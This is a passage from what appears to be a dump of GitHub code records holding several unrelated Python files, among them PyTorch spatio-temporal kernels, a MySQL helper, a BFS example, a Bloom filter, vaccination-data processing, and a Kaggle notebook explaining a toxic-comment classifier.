torch.sum((torch.distributions.Normal(0, 1).cdf((obs[:, 0].max() + 1 - obs[:, 0]) / self.Sigma) - 0.5))\n\n return integral\n\n def grid_evaluation(self, obs):\n \"\"\"\n return kernel evaluations on time grids\n \"\"\"\n return self.C * torch.exp(-1/2/torch.square(self.Sigma) * torch.square(torch.arange(0, obs[:, 0].max(), 1, device=obs.device)))\n \n def forward(self, x):\n\n return self.C * torch.exp(-1/2/torch.square(self.Sigma) * torch.square(x))\n\n\nclass _Weibull_kernel(torch.nn.Module):\n \"\"\"\n Temporal Weibull decaying kernel\n \"\"\"\n\n def __init__(self, Lamb, K):\n super(_Weibull_kernel, self).__init__()\n \n self.Lamb = torch.nn.Parameter(torch.FloatTensor([Lamb])[0])\n self.K = torch.nn.Parameter(torch.FloatTensor([K])[0])\n\n def integration(self, obs):\n \"\"\"\n return closed form integration w.r.t. data obs\n \"\"\"\n integral = torch.sum(torch.distributions.weibull.Weibull(self.Lamb, self.K).cdf(obs[:, 0].max() + 1 - obs[:, 0]))\n\n return integral\n\n def grid_evaluation(self, obs):\n \"\"\"\n return kernel evaluations on time grids\n \"\"\"\n x = torch.square(torch.arange(0, obs[:, 0].max(), 1, device=obs.device))\n return self.K / self.Lamb * (x / self.Lamb) ** (self.K - 1) * torch.exp(-(x / self.Lamb) ** self.K)\n \n def forward(self, x):\n \"\"\"\n return kernel evaluation at x\n \"\"\"\n return self.K / self.Lamb * (x / self.Lamb) ** (self.K - 1) * torch.exp(-(x / self.Lamb) ** self.K)\n\n\nclass _Gamma_kernel(torch.nn.Module):\n \"\"\"\n Temporal Gamma decaying kernel\n \"\"\"\n\n def __init__(self, Alpha, Beta):\n super(_Gamma_kernel, self).__init__()\n \n self.Alpha = torch.nn.Parameter(torch.FloatTensor([Alpha])[0])\n self.Beta = torch.nn.Parameter(torch.FloatTensor([Beta])[0])\n\n def integration(self, obs):\n \"\"\"\n return closed form integration w.r.t. data obs\n \"\"\"\n grids = torch.linspace(1e-5, obs[:, 0].max().item() + 1, 100)\n h = (obs[:, 0].max().item() + 1) / 100\n dens = torch.exp(torch.distributions.gamma.Gamma(self.Alpha, self.Beta).log_prob(grids))\n cdf = torch.cumsum(dens * h,dim=0) # [ 100 ]\n\n int_t = obs[:, 0].max() + 1 - obs[:, 0]\n int_start_idx = torch.div(int_t, h, rounding_mode=\"floor\").long()\n int_end_idx = int_start_idx + 1\n int_start = cdf[int_start_idx] # [ n_obs ]\n int_end = cdf[int_end_idx] # [ n_obs ]\n int_prop = torch.remainder(int_t, h) / h\n # [ n_obs ]\n integral = torch.sum(torch.lerp(int_start, int_end, int_prop)) # [ n_obs ]\n\n return integral\n\n def grid_evaluation(self, obs):\n \"\"\"\n return kernel evaluations on time grids\n \"\"\"\n x = torch.square(torch.arange(1e-5, obs[:, 0].max(), 1, device=obs.device))\n return torch.exp(torch.distributions.gamma.Gamma(self.Alpha, self.Beta).log_prob(x))\n \n def forward(self, x):\n \"\"\"\n return kernel evaluation at x\n \"\"\"\n return torch.exp(torch.distributions.gamma.Gamma(self.Alpha, self.Beta).log_prob(x))\n\n\nclass _Rayleigh_kernel(torch.nn.Module):\n \"\"\"\n Temporal Rayleigh decaying kernel\n \"\"\"\n\n def __init__(self, Sigma):\n super(_Rayleigh_kernel, self).__init__()\n \n self.Sigma = torch.nn.Parameter(torch.FloatTensor([Sigma])[0])\n\n def integration(self, obs):\n \"\"\"\n return closed form integration w.r.t. data obs\n \"\"\"\n integral = torch.sum(1 - torch.exp(-(obs[:, 0].max() + 1 - obs[:, 0]) ** 2 / 2 / self.Sigma ** 2))\n\n return integral\n\n def grid_evaluation(self, obs):\n \"\"\"\n return kernel evaluations on time grids\n \"\"\"\n x = torch.square(torch.arange(0, obs[:, 0].max(), 1, device=obs.device))\n return x / self.Sigma ** 2 * torch.exp(-x ** 2 / 2 / self.Sigma ** 2)\n \n def forward(self, x):\n \"\"\"\n return kernel evaluation at x\n \"\"\"\n return x / self.Sigma ** 2 * torch.exp(-x ** 2 / 2 / self.Sigma ** 2)\n\n\n'''Deep spatial kernel'''\nclass NeuralNet_for_FocusPoints_Multikernel(torch.nn.Module):\n '''\n The neural network used to generate focus points and kernel weights for each location s.\n Input shape = 2, Output Shape = 3sa\n '''\n # The network contains three fully-connected layers and one non-linear activation layer with\n # an input shape of 2 and output shape of 2.\n def __init__(self):\n super(NeuralNet_for_FocusPoints_Multikernel, self).__init__()\n \n self.fc1 = torch.nn.Linear(2, 32)\n self.fc2 = torch.nn.Linear(32, 16)\n self.fc3 = torch.nn.Linear(16, 3)\n self.scale = torch.nn.Parameter(torch.Tensor([0.1, 0.1, 1]), requires_grad = False)\n \n def forward(self, x):\n \n x = self.fc1(x)\n x = F.softplus(x)\n x = self.fc2(x)\n x = F.softplus(x)\n x = self.fc3(x)\n # x = (2 * torch.sigmoid(x) - 1)\n # x[:2] = x[:2] * 0.1\n x = (2 * torch.sigmoid(x) - 1) * self.scale\n \n return x\n\nclass NeuralNet_for_ExogenousEffect(torch.nn.Module):\n '''\n The neural network used to generate exogenous effect for a landmark s.\n Assume bivariate Gaussian with independent elements.\n Input shape = 2, Output Shape = 1\n '''\n # The network contains three fully-connected layers and one non-linear activation layer with\n # an input shape of 2 and output shape of 2.\n def __init__(self):\n super(NeuralNet_for_ExogenousEffect, self).__init__()\n \n self.fc1 = torch.nn.Linear(2, 16)\n self.fc2 = torch.nn.Linear(16, 8)\n self.fc3 = torch.nn.Linear(8, 1)\n \n def forward(self, x):\n \n # ReLU activation function\n \n x = self.fc1(x)\n x = F.softplus(x)\n x = self.fc2(x)\n x = F.softplus(x)\n x = self.fc3(x)\n x = torch.abs(2 * torch.sigmoid(x) - 1)\n \n return x\n\nclass StdDiffusionKernel(torch.nn.Module):\n \"\"\"\n Kernel function including the diffusion-type model proposed by Musmeci and\n Vere-Jones (1992).\n \"\"\"\n def __init__(self, obs):\n super(StdDiffusionKernel, self).__init__()\n self.obs = obs # Original data matrix, [N, 3]\n self.n = torch.max(self.obs[:, 0])\n self.C = torch.nn.Parameter(torch.Tensor(1).uniform_(100, 1000)[0]) # [ 1 ]\n self.Beta = torch.nn.Parameter(torch.Tensor(1).uniform_(0.1, 1)[0]) # [ 1 ]\n self.Sigmax = torch.nn.Parameter(torch.Tensor(1).uniform_(1, 10)[0]) # [ 1 ]\n self.Sigmay = torch.nn.Parameter(torch.Tensor(1).uniform_(1, 10)[0]) # [ 1 ]\n self.usegpu = False\n\n def _Time_decay_kernel(self):\n \"\"\"\n Time decay kernel\n \"\"\"\n if self.usegpu: device = \"cuda:0\"\n else: device = \"cpu\"\n\n return self.C * torch.exp(-self.Beta * torch.arange(1, torch.max(self.obs[:, 0]), 1, device=device))\n \n def discrete_spa_tem_int(self):\n \n edo = -self.C / self.Beta * torch.sum(torch.exp(-self.Beta * (self.n + 1 - self.obs[:, 0])) - 1)\n\n return edo\n\n def nu(self, t, s, his_t, his_s):\n\n N = s.shape[0]\n M = his_s.shape[0]\n\n delta_t = t - his_t\n W = torch.div(self.C * torch.exp(-self.Beta * delta_t), self.Sigmax * self.Sigmay * 2 * np.pi * delta_t)\n \n delta_s = s.unsqueeze(-1).expand(N, 2, M) - his_s.T.expand(N, 2, M)\n st1 = torch.div(torch.square(delta_s), torch.square(torch.stack([self.Sigmax, self.Sigmay], dim=0)).expand(M, 2).T \\\n * -2 * delta_t)\n \n return torch.mm(torch.exp(torch.sum(st1, dim=1)), W.unsqueeze(-1))\n\n\nclass Multi_NN_NonstationaryKernel_3(torch.nn.Module):\n \"\"\"\n Multi-component non-stationary Gaussian kernel, time and space decoupled.\n The focus points of one standard ellipse (OSE) are generated by Neural Network.\n \"\"\"\n def __init__(self, obs, region_attr, temp_kernel, n_comp = 3, keep_latest_t = 3, data_dim = 3):\n super(Multi_NN_NonstationaryKernel_3, self).__init__()\n # data\n self.obs = obs # Original data matrix, [N, 3]\n self.n = torch.max(self.obs[:, 0])\n self.region_area = region_attr[0] # Tensor float\n self.xmin = region_attr[1] # Tensor float\n self.xmax = region_attr[2] # Tensor float\n self.ymin = region_attr[3] # Tensor float\n self.ymax = region_attr[4] # Tensor float\n self.obs_normalized = self._Normalization(self.obs[:, 1:])\n self.obs_normalized = torch.hstack((self.obs[:, 0].reshape(-1, 1), self.obs_normalized))\n # configuration\n self.usegpu = False\n self.n_comp = n_comp\n self.net1 = NeuralNet_for_FocusPoints_Multikernel()\n self.net2 = NeuralNet_for_FocusPoints_Multikernel()\n self.net3 = NeuralNet_for_FocusPoints_Multikernel()\n self.net1.apply(weight_init)\n self.net2.apply(weight_init)\n self.net3.apply(weight_init)\n self.temp_kernel = temp_kernel\n self.A = torch.nn.Parameter(torch.Tensor([0.1])[0], requires_grad = False) # [ 1 ]\n self.tau_z = torch.nn.Parameter(torch.Tensor([30])[0], requires_grad = False) # [ 1 ]\n self.data_dim = data_dim\n self.kpt = keep_latest_t\n self.precompute = False\n self.new_psi = False\n # precompute\n self.data_transformation()\n\n def data_transformation(self):\n \"\"\"\n Transform a N*3 data matrix into model-desired formation\n \"\"\"\n t_value, t_counts = torch.unique(self.obs_normalized[:, 0], return_counts = True)\n t_value = t_value.int()\n trsfm_obs = torch.zeros(torch.max(t_value)+1, torch.max(t_counts), self.data_dim, device=device)\n mask = torch.zeros(torch.max(t_value)+1, torch.max(t_counts), device=device)\n for i in range(len(t_value)):\n t = t_value[i]\n idx = self.obs_normalized[:, 0] == t\n n = sum(idx)\n trsfm_obs[t-1, :n, :] = self.obs_normalized[idx, :]\n mask[t-1, :n] = 1\n mask = mask > 0\n\n self.trsfm_obs = trsfm_obs\n self.data_mask = mask\n\n def _Time_decay_kernel(self):\n \"\"\"\n Time decay kernel\n \"\"\"\n\n return self.temp_kernel.grid_evaluation(self.obs)\n \n def _Normalization(self, ps):\n normalized = torch.zeros_like(ps)\n normalized[..., 0] = 2 * (ps[..., 0] - self.xmin) / (self.xmax - self.xmin) - 1\n normalized[..., 1] = 2 * (ps[..., 1] - self.ymin) / (self.ymax - self.ymin) - 1\n \n return normalized\n \n def precompute_features(self):\n \"\"\"\n Here this function is used to precompute Focus points.\n \"\"\"\n self.psis = []\n self.ws = []\n out1 = self.net1(self.trsfm_obs[:, :, 1:])\n self.psis.append(out1[:, :, :-1])\n self.ws.append(out1[:, :, -1])\n out2 = self.net2(self.trsfm_obs[:, :, 1:])\n self.psis.append(out2[:, :, :-1])\n self.ws.append(out2[:, :, -1])\n out3 = self.net3(self.trsfm_obs[:, :, 1:])\n self.psis.append(out3[:, :, :-1])\n self.ws.append(out3[:, :, -1])\n self.psis = torch.stack(self.psis, dim=0) # [n_comp, T, max(daily_number), 2]\n self.ws = torch.stack(self.ws, dim=-1) # [T, max(daily_number), n_comp]\n self.precompute = True\n\n def discrete_spa_tem_int(self):\n\n return self.temp_kernel.integration(self.obs)\n\n def Cov_para(self, psi):\n \"\"\"\n Generate parameters of the covariance matrix.\n\n - psi: coordinate of focus points. [N, 2]\n \"\"\"\n norm_psi = torch.norm(psi, dim=-1)\n a = torch.sqrt(torch.sqrt(4 * torch.square(self.A) + torch.pow(norm_psi, 4) * np.pi ** 2) / 2 / np.pi \\\n + (torch.square(psi[..., 0]) - torch.square(psi[..., 1])) / 2)\n b = torch.sqrt(torch.sqrt(4 * torch.square(self.A) + torch.pow(norm_psi, 4) * np.pi ** 2) / 2 / np.pi \\\n + (torch.square(psi[..., 1]) - torch.square(psi[..., 0])) / 2)\n a = torch.clamp(a, min = 0.)\n b = torch.clamp(b, min = 0.)\n alpha = torch.arctan(psi[..., 1] / psi[..., 0])\n rho_a_b = torch.square(norm_psi) * torch.cos(alpha) * torch.sin(alpha) / torch.square(self.tau_z)\n\n return rho_a_b, a/self.tau_z, b/self.tau_z\n \n def nu(self, t, s, his_t, his_s):\n \"\"\"\n Vectorized trigger function computation. \n\n - t: present time, a scalar.\n - s: location matrix of current events. [N, 2]\n - his_t: history time vector. [M]\n - his_s: history location matrix. [M, 2]\n - psi: if given, should be 2-d tensor. [L, 2]\n\n Return:\n - A N-length vector of trigger function value\n \"\"\"\n N = s.shape[0]\n M = his_s.shape[0]\n # A_prime = self.A / torch.square(self.tau_z)\n t_p = np.int(np.ceil(t))\n if not self.precompute:\n raise Exception(\"No available focus points!\")\n elif self.new_psi:\n his_psi = self.psis[:, (max(t_p - self.kpt - 1, 0)):(t_p-1), :, :][:, self.data_mask[(max(t_p - self.kpt - 1, 0)):(t_p-1), :]].clone()\n his_w = self.ws[(max(t_p - self.kpt - 1, 0)):(t_p-1), :, :][self.data_mask[(max(t_p - self.kpt - 1, 0)):(t_p-1), :]].clone()\n psi = []\n w = []\n out1 = self.net1(self._Normalization(s))\n psi.append(out1[:, :-1])\n w.append(out1[:, -1])\n out2 = self.net2(self._Normalization(s))\n psi.append(out2[:, :-1])\n w.append(out2[:, -1])\n out3 = self.net3(self._Normalization(s))\n psi.append(out3[:, :-1])\n w.append(out3[:, -1])\n psi = torch.stack(psi, dim=0) # [n_comp, N, 2]\n w = torch.stack(w, dim=-1) # [N, n_comp]\n else:\n his_psi = self.psis[:, (max(t_p - self.kpt - 1, 0)):(t_p-1), :, :][:, self.data_mask[(max(t_p - self.kpt - 1, 0)):(t_p-1), :]].clone()\n his_w = self.ws[(max(t_p - self.kpt - 1, 0)):(t_p-1), :, :][self.data_mask[(max(t_p - self.kpt - 1, 0)):(t_p-1), :]].clone()\n psi = self.psis[:, (t_p-1), :, :][:, self.data_mask[(t_p-1), :]].clone() # [n_comp, N, 2]\n w = self.ws[(t_p-1), :, :][self.data_mask[(t_p-1), :]].clone() # [N, n_comp]\n delta_t = t - his_t\n rho_a_b, a, b = self.Cov_para(psi)\n his_rho_a_b, his_a, his_b = self.Cov_para(his_psi)\n\n sigma_x = torch.sqrt(torch.square(a.T.unsqueeze(1).unsqueeze(-1).repeat(1, M, 1, self.n_comp)) \\\n + torch.square(his_a.T.unsqueeze(1).unsqueeze(0).repeat(N, 1, self.n_comp, 1)))\n sigma_y = torch.sqrt(torch.square(b.T.unsqueeze(1).unsqueeze(-1).repeat(1, M, 1, self.n_comp)) \\\n + torch.square(his_b.T.unsqueeze(1).unsqueeze(0).repeat(N, 1, self.n_comp, 1)))\n rho = (rho_a_b.T.unsqueeze(1).unsqueeze(-1).repeat(1, M, 1, self.n_comp) \\\n + his_rho_a_b.T.unsqueeze(1).unsqueeze(0).repeat(N, 1, self.n_comp, 1)) / sigma_x / sigma_y\n \n time_decay = self.temp_kernel(delta_t)\n\n weight = torch.matmul((torch.exp(w).T / torch.sum(torch.exp(w), dim = 1)).T.unsqueeze(-1).unsqueeze(1).repeat(1, M, 1, 1),\n (torch.exp(his_w).T / torch.sum(torch.exp(his_w), dim = 1)).T.unsqueeze(-2).unsqueeze(0).repeat(N, 1, 1, 1)) # [N, M, n_comp, n_comp]\n\n std_x = (s[:, 0].unsqueeze(1).repeat(1, M) - his_s[:, 0].unsqueeze(0).repeat(N, 1)).unsqueeze(-1).unsqueeze(-1) / sigma_x\n std_y = (s[:, 1].unsqueeze(1).repeat(1, M) - his_s[:, 1].unsqueeze(0).repeat(N, 1)).unsqueeze(-1).unsqueeze(-1) / sigma_y\n\n return torch.mm(time_decay.reshape(1, -1),\n (((0.5 / (np.pi * sigma_x * sigma_y * torch.sqrt(1-torch.square(rho))) \\\n * torch.exp(-0.5 / (1-torch.square(rho)) * ( \\\n torch.square(std_x) + torch.square(std_y) \\\n - 2 * rho * std_x * std_y) ) ) *\n weight).sum(-1).sum(-1)).T)","repo_name":"McDaniel7/COVID-Cali-Colombia","sub_path":"kernels.py","file_name":"kernels.py","file_ext":"py","file_size_in_byte":18152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"9319583337","text":"import mysql.connector\r\nimport os\r\n\r\ndef create_connection():\r\n return mysql.connector.connect(\r\n host=os.environ.get(\"DB_HOST\"),\r\n user='root',\r\n password=os.environ.get(\"DB_PASSWD\")\r\n )\r\n\r\ncreateDBQuery = \"\"\"\r\nCREATE DATABASE IF NOT EXISTS testg1;\r\nUSE testg1;\r\nCREATE TABLE IF NOT EXISTS engs (Name VARCHAR(20), LastName VARCHAR(20), Role VARCHAR(20));\r\n\"\"\"\r\n\r\ninsertEngQuery = \"INSERT INTO engs (Name, LastName, Role) VALUES (%s, %s, %s)\"\r\n\r\nclass Database:\r\n def __init__(self):\r\n self.db = create_connection()\r\n self.cursor = self.db.cursor()\r\n self.cursor.execute(createDBQuery)\r\n self.cursor.close()\r\n self.db.close()\r\n\r\n self.db = create_connection()\r\n self.cursor = self.db.cursor()\r\n self.cursor.execute(\"USE testg1;\")\r\n \r\n def get_engs(self):\r\n self.cursor.execute(\"SELECT * FROM engs\")\r\n return self.cursor.fetchall()\r\n \r\n def add_eng(self, insert_values):\r\n self.cursor.execute(insertEngQuery, insert_values)\r\n self.db.commit()\r\n\r\n","repo_name":"gzero-1/kubernetes","sub_path":"practice-final/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33722459201","text":"from collections import deque\n\ndef bfs(graph,start_node,visited):\n queue = deque()\n #시작 노드 큐 넣기\n queue.append(start_node)\n #방문처리\n visited[start_node] = True\n\n while queue:\n #큐 빼기\n v = queue.popleft()\n print(v,end=' ')\n \n for i in graph[v]:\n if not visited[i]:\n queue.append(i)\n visited[i] = True\n\n\ngraph = [\n [],\n [2,3,8],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7]\n]\nvisited = [False] * 9\n\nbfs(graph,1,visited)","repo_name":"fDevJc/Tutorial","sub_path":"python/python_algorithm/algorithm_bfs_example_re.py","file_name":"algorithm_bfs_example_re.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11576625320","text":"import numpy as np\nimport pandas as pd\n\n\ndef get_vax(data_file):\n vax = pd.read_csv(\n data_file,\n usecols=[\n \"location\",\n \"date\",\n \"total_vaccinations\",\n \"total_vaccinations_per_hundred\",\n \"daily_vaccinations_raw\",\n \"daily_vaccinations\",\n \"daily_vaccinations_per_million\",\n \"people_vaccinated\",\n \"people_vaccinated_per_hundred\",\n \"people_fully_vaccinated\",\n \"people_fully_vaccinated_per_hundred\",\n \"total_boosters\",\n \"total_boosters_per_hundred\",\n \"daily_people_vaccinated\",\n \"daily_people_vaccinated_per_hundred\",\n ],\n )\n vax = vax.rename(\n columns={\n \"daily_vaccinations_raw\": \"new_vaccinations\",\n \"daily_vaccinations\": \"new_vaccinations_smoothed\",\n \"daily_vaccinations_per_million\": \"new_vaccinations_smoothed_per_million\",\n \"daily_people_vaccinated\": \"new_people_vaccinated_smoothed\",\n \"daily_people_vaccinated_per_hundred\": \"new_people_vaccinated_smoothed_per_hundred\",\n }\n )\n rounded_cols = [\n \"total_vaccinations_per_hundred\",\n \"people_vaccinated_per_hundred\",\n \"people_fully_vaccinated_per_hundred\",\n \"total_boosters_per_hundred\",\n ]\n vax[rounded_cols] = vax[rounded_cols].round(3)\n return vax\n\n\ndef _add_rolling(df: pd.DataFrame) -> pd.DataFrame:\n last_known_date = df.loc[df.total_vaccinations.notnull(), \"date\"].max()\n for n_months in (6, 9, 12):\n n_days = round(365.2425 * n_months / 12)\n df[f\"rolling_vaccinations_{n_months}m\"] = (\n df.total_vaccinations.interpolate(method=\"linear\").diff().rolling(n_days, min_periods=1).sum().round()\n )\n df.loc[df.date > last_known_date, f\"rolling_vaccinations_{n_months}m\"] = np.NaN\n df[f\"rolling_vaccinations_{n_months}m_per_hundred\"] = (\n df[f\"rolling_vaccinations_{n_months}m\"] * 100 / df.population\n ).round(2)\n return df\n\n\ndef add_rolling_vaccinations(df: pd.DataFrame) -> pd.DataFrame:\n return df.groupby(\"location\").apply(_add_rolling).reset_index(drop=True)\n","repo_name":"owid/covid-19-data","sub_path":"scripts/src/cowidev/megafile/steps/vax.py","file_name":"vax.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":5612,"dataset":"github-code","pt":"23"} +{"seq_id":"21237225011","text":"from Src.Model.DataBase import CategoryDb\nfrom sqlalchemy.exc import IntegrityError\nfrom setting import db\n\n\nclass CategoryController:\n def createCategory(_description, _status, _createdDate, _updatedDate):\n category = CategoryDb(\n _description.upper(), _status, _createdDate, _updatedDate\n )\n db.session.add(category)\n try:\n db.session.commit()\n return True\n except IntegrityError:\n db.session.rollback()\n return False\n\n def updateCategory(id, _description, _status, _updatedDate):\n try:\n CategoryDb.query.filter_by(id=id).update(\n {\n 'description': _description.upper(),\n 'status': _status,\n 'updatedDate': _updatedDate\n }\n )\n db.session.commit()\n return True\n except IntegrityError:\n db.session.rollback()\n return False\n\n def List(_categoryFilter) -> str:\n if len(_categoryFilter) < 1:\n query = CategoryDb.query.all()\n queryCount = CategoryDb.query.count()\n\n return {\n \"categories\": [row.as_dict() for row in query],\n \"count\": queryCount\n }\n","repo_name":"adaatii/TG","sub_path":"Backend/Src/Controller/Category.py","file_name":"Category.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1950960571","text":"# list1 = [1, 2, 4, 2]\n# print(max(list1))\n\nfrom itertools import product\n# product 用于求多个可迭代对象的笛卡尔积,它跟嵌套的 for 循环等价\nlist1 = ['A', 'B', 'C'] # [('A', 'B', 'C')]\nprint('=============================')\nprint(list(product(list1))) # [('A',), ('B',), ('C',)]\n# print(list1)\nprint(list(product(list1,'XYZ'))) # [('A', 'X'), ('A', 'Y'), ('A', 'Z'), ('B', 'X'), ('B', 'Y'), ('B', 'Z'), ('C', 'X'), ('C', 'Y'), ('C', 'Z')]\nlist2 = [['A', 'B'], ['C', 'D'], 'E'] # [('A', 'C', 'E'), ('A', 'D', 'E'), ('B', 'C', 'E'), ('B', 'D', 'E')]\nprint(list(product(list2)))\nprint(list(product(list2, 'XYZ')))\n# product(*list2, repeat=2)和product(*list2, *list2)相同\n\n# print(tuple({'A':1}))\n\nstr1 = '''2 488512261 423332742\n2 625040505 443232774\n1 4553600\n4 92134264 617699202 124100179 337650738\n2 778493847 932097163\n5 489894997 496724555 693361712 935903331 518538304'''\n\nlist_count, module_num = [6, 767]\nlist_array = []\nlist_element = str1.split('\\n')\n# print(list_element)\nfor lists in list_element:\n temp_lists = list(map(lambda num: int(num), lists.split(' ')))\n list_array.append(temp_lists[1:])\n# print(list_array)\n# print(list(product(*list_array))[8]) # (7, 7, 7, 7, 7, 8518829, 7)\nresults = map(lambda x: sum(i**2 for i in x) % module_num, product(*list_array))\nprint(max(list(results)))\n\n# 下面的方法也可以\n# new_list_array = list(product(*list_array))\n# result = 0\n# for item in new_list_array:\n# temp_sum = 0\n# for in_item in item:\n# temp_sum = temp_sum + in_item**2\n# if(temp_sum % module_num > result):\n# result = temp_sum % module_num\n \n# print(result)\n","repo_name":"zhoupengzu/PythonPractice","sub_path":"Practice/practice12.py","file_name":"practice12.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74300219578","text":"from sys import getsizeof\nfrom typing import Union\nfrom hashlib import sha256\nimport json\nfrom enum import IntEnum\n\nElementType = Union[dict, str]\n\nclass Response(IntEnum):\n NO = 0\n MAYBE = 1\n\n\nclass BloomFilter:\n def __init__(self, init_size: int = 1000, func_count: int = 3) -> None:\n if init_size < 8:\n raise ValueError(\"Can't craete bloom filter with less then a byte (8 bits) of data, Enter init_size bigger then 8.\")\n if func_count <= 0:\n raise ValueError(\"func_count must be bigger then 0\")\n \n self.size = init_size # number of bits\n self.func_count = func_count\n \n if func_count > self.actual_size:\n raise ValueError(\"func count cant be bigger then filter size\")\n\n self.function_salts = [sha256(str(i).encode()).hexdigest()[:8] for i in range(self.func_count)]\n self._on_count = 0\n self._filter = bytearray(self.size // 8)\n\n @property\n def actual_size(self) -> int:\n return self.size - (self.size % 8)\n\n @property\n def false_positive_probability(self):\n return (self._on_count / self.size)**self.func_count\n\n def _check_bit(self, index: int) -> bool:\n byte = self._filter[index // 8]\n bit_filter = 2 ** (7 - (index % 8))\n return bool(byte & bit_filter)\n \n def _turn_on_bit(self, index: int):\n byte_index = index // 8\n byte = self._filter[byte_index]\n bit_filter = 2 ** (7 - (index % 8))\n self._filter[byte_index] = byte | bit_filter\n\n def _element_indexs(self, element: ElementType):\n if isinstance(element, dict):\n element = json.dumps(element, sort_keys=True)\n\n for i in range(self.func_count):\n elem_bytes = (element + self.function_salts[i]).encode()\n hash_value = int.from_bytes(sha256(elem_bytes).digest(), 'little')\n index = hash_value % self.actual_size\n yield index\n\n def add_element(self, element: ElementType):\n for index in self._element_indexs(element):\n if self._check_bit(index) is True:\n continue\n self._on_count += 1\n self._turn_on_bit(index)\n\n def query(self, element: ElementType) -> Response:\n \"\"\"\n Check if the element is added to the filter\n\n :returns: Maybe if all the bits are on else NO\n \"\"\"\n for index in self._element_indexs(element):\n if self._check_bit(index) is False:\n return Response.NO\n\n return Response.MAYBE\n\n def __str__(self) -> str:\n return f\"BloomFilter(size={self.actual_size}, func_count={self.func_count}, false_positive_pob={self.false_positive_probability})\"\n\n def __sizeof__(self) -> int:\n return getsizeof(self._filter)","repo_name":"hvuhsg/py-bloom-filter","sub_path":"easy_bloom_filter/bloom_filter.py","file_name":"bloom_filter.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"35648286603","text":"\n# coding: utf-8\n\n# ELI5\n# \n# Or, explain like I'm 5, how does a linear model predict toxicity? I used RidgeClassifier but you can try any other model even XGBoost. You can find more complex example in this https://www.kaggle.com/lopuhin/eli5-for-mercari .\n# \n# Many thanks for authors https://github.com/TeamHG-Memex/eli5 for their great stuff.\n# \n# Preprocessing is based on Jeremy Howard's amazing script https://www.kaggle.com/jhoward/nb-svm-strong-linear-baseline\n\n# In[ ]:\n\n\nimport eli5\nimport pandas as pd, numpy as np\nfrom sklearn.linear_model import LogisticRegression, RidgeClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.pipeline import FeatureUnion\nimport re,string\n\n\n# In[ ]:\n\n\ntrain = pd.read_csv('../input/train.csv')\nCOMMENT = 'comment_text'\ntrain[COMMENT].fillna(\"unknown\", inplace=True)\nlabel_cols = ['toxic', 'severe_toxic', 'obscene', 'threat', 'insult', 'identity_hate']\ntrain['none'] = 1-train[label_cols].max(axis=1)\ntrain.describe()\n\n\n# In[ ]:\n\n\nys = train[label_cols+['none']]\nys.head(n=3)\n\n\n# In[ ]:\n\n\ntrain['comment_text_char'] = train.comment_text.values\n\n\n# In[ ]:\n\n\ntrain.head(n=3)\n\n\n# In[ ]:\n\n\nre_tok = re.compile(f'([{string.punctuation}“”¨«»®´·º½¾¿¡§£₤‘’])')\ndef tokenize(s): return re_tok.sub(r' \\1 ', s).split()\n\n# we need a custom pre-processor to extract correct field,\n# but want to also use default scikit-learn preprocessing (e.g. lowercasing)\ndefault_preprocessor = CountVectorizer().build_preprocessor()\ndef build_preprocessor(field):\n field_idx = list(train.columns).index(field)\n return lambda x: default_preprocessor(x[field_idx])\n \nvectorizer = FeatureUnion([\n ('comment_text', TfidfVectorizer(ngram_range=(1,2), tokenizer=tokenize,\n min_df=3, max_df=0.9, strip_accents='unicode', use_idf=1,\n smooth_idf=1, sublinear_tf=1, preprocessor=build_preprocessor('comment_text'))),\n ('comment_text_char', TfidfVectorizer(sublinear_tf=True, strip_accents='unicode',\n analyzer='char', stop_words='english', ngram_range=(2, 6), \n max_features=20000, preprocessor=build_preprocessor('comment_text_char')))\n])\nX_train = vectorizer.fit_transform(train.values)\nX_train\n\n\n# Let's explain how our model recognizes toxic comments\n\n# In[ ]:\n\n\nclassifier = RidgeClassifier(solver='sag')\n\ny = ys['toxic'].values\n\nkf = KFold(n_splits=5, shuffle=True, random_state=239)\nfor train_index, test_index in kf.split(X_train):\n classifier = RidgeClassifier(solver='sag')\n classifier.fit(X_train[train_index], y[train_index])\n predict = classifier.decision_function(X_train[test_index])\n cv_score = roc_auc_score(y[test_index], predict)\n print(cv_score)\n break\n\n\n# In[ ]:\n\n\neli5.show_weights(classifier, vec=vectorizer)\n\n\n# In[ ]:\n\n\ntrain[COMMENT].values[6]\n\n\n# In[ ]:\n\n\neli5.show_prediction(classifier, doc=train.values[6], vec=vectorizer)\n\n\n# In[ ]:\n\n\neli5.show_weights(classifier, vec=vectorizer, top=100, feature_filter=lambda x: x != '')\n\n\n# Now, look at identity_hate\n\n# In[ ]:\n\n\nclassifier = RidgeClassifier(solver='sag')\n\ny = ys['identity_hate'].values\n\nkf = KFold(n_splits=5, shuffle=True, random_state=239)\nfor train_index, test_index in kf.split(X_train):\n classifier = RidgeClassifier(solver='sag')\n classifier.fit(X_train[train_index], y[train_index])\n predict = classifier.decision_function(X_train[test_index])\n cv_score = roc_auc_score(y[test_index], predict)\n print(cv_score)\n break\n\n\n# In[ ]:\n\n\neli5.show_weights(classifier, vec=vectorizer, top=100, feature_filter=lambda x: x != '')\n\n\n# In[ ]:\n\n\ntrain[COMMENT].values[42]\n\n\n# In[ ]:\n\n\neli5.show_prediction(classifier, doc=train.values[42], vec=vectorizer)\n\n\n# What about other languages\n\n# In[ ]:\n\n\n#from langdetect import detect\n#def dl(s):\n# try: return detect(s)\n# except: return 